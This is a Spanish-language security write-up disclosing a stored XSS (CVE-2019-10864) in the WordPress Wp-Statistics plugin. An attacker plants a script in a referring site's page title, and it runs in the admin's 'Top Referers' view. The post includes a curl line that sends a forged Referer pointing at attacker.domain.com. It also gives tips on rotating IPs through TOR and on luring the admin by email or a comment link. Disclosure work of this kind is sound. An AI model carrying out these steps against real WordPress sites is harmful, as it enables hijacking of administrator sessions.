CVE-2019–10864: Wp-Statistics XSS almacenado

XSS Almacenado en Referer

Manuel Fernández-Aramburu y Melchor Vázquez de 
Innotec Security (https://innotec.security)

Imagen de Freepik

Introducción

¿Alguna vez has auditado una web con WordPress? Si la respuesta es que sí, seguramente te hayas sentido como nosotros. Al auditar una web construida con WordPress, no hay demasiado dónde buscar, más aún si está actualizado a la última versión y, por supuesto, no tienes usuarios. Es un poco frustrante ver cómo no puedes hacer demasiado para conseguir acceso.

Nos pasó hace un par de semanas, teníamos la necesidad de auditar varios WordPress, todos ellos con características similares. Eran WordPress actualizados a la última versión (5.1.1 en aquel momento) con pocos plugins que, también, estaban actualizados a su respectiva versión cada uno de ellos. Además, tenían el panel de administración cerrado con htaccess para determinadas direcciones IP.

Es por ello, que nos pusimos a revisar los plugins que tenían instalados y, en varias de las webs, tenían un plugin llamado Wp-Statistics, con la versión 12.6.2. Este plugin lo tienen instalado, actualmente, más de medio millón de WordPress. Lo bueno de WordPress es que es open source y los plugins suelen serlo también y, por lo tanto, el código se encuentra en algún lugar (normalmente github).

Después de un día entero examinando este plugin, pudimos encontrar un XSS almacenado un tanto curioso.

Wp-Statistics tiene un apartado en el panel de administración que se llama Top Referers, donde aparecen los referidos que más veces han accedido al WordPress donde está instalado el plugin. En dicha página, se utiliza el referido para obtener el título de la página y mostrarlo de forma que el usuario administrador pueda ver más fácilmente desde dónde viene su público.

Es justamente en la carga del contenido del título donde se encuentra el XSS. Podéis encontrar el fix aquí:

Podéis ver cómo se ejecuta el siguiente código:

Primero, se obtiene el html de la web del referido. Luego, se selecciona el título de la web mediante su tag <title> y se obtiene el contenido del mismo.

Se ejecuta el método nodeValue de DomDocument. Esta función, extrae el texto de un nodo dado, en este caso, el texto del título de la web del referido. Si el nodo contiene tags, se supone que el método nodeValue los elimina, por lo tanto, podría parecer que no es vulnerable a XSS. Por ejemplo este html:

Al parsearlo con la función anterior, nos daría como resultado:

1 alert(2) 3

Pero podemos hacer una cosa parecida a la siguiente:

El resultado sería el siguiente:

1 <script>alert(2)</script> 3

Con todo esto, podemos hacer que el plugin cargue y ejecute código JS en el panel de administrador.

Explotación del XSS

Para explotar el XSS, hay que tener un servidor web con un dominio asociado abierto a internet, del cual se controle la página principal de la web.

Primero hay que “sembrar” el XSS, para ello se hacen peticiones al servidor de la siguiente forma:

curl ‘https://victimwordpress.com' -H ‘Referer: http://attacker.domain.com'

Es decir, hay que hacer peticiones a la web victima con el campo Referer apuntando al servidor que controla el atacante.

Nótese que, cuantas más peticiones se hagan con diferente dirección IP, más probabilidades hay que el XSS pueda ser ejecutado, puesto que el referido tendrá más visitas y, por lo tanto, tendrá más probabilidades de encontrarse en la primera página del apartado del “Top Referers”, que es donde se ejecuta el XSS. De lo contrario, se podría conseguir, por ejemplo desde TOR, cambiando el circuito después de cada petición.

El servidor que controla el atacante podrá contener un código parecido al siguiente en la raíz del servidor web:

El código se ejecutará cuando el administrador visite el apartado Top Referers. Para acelerar el proceso, se puede intentar enviar un email a la víctima o, tal vez, dejar un comentario en la web con un enlace acortado que le envíe hacia el apartado Top Referers del panel de administración.

Pronto, publicaremos una forma para conseguir RCE desde este XSS. Si bien, hay publicaciones en internet que indican la forma de hacerlo, pero las que he visto hasta el momento están desfasadas y el código no funciona.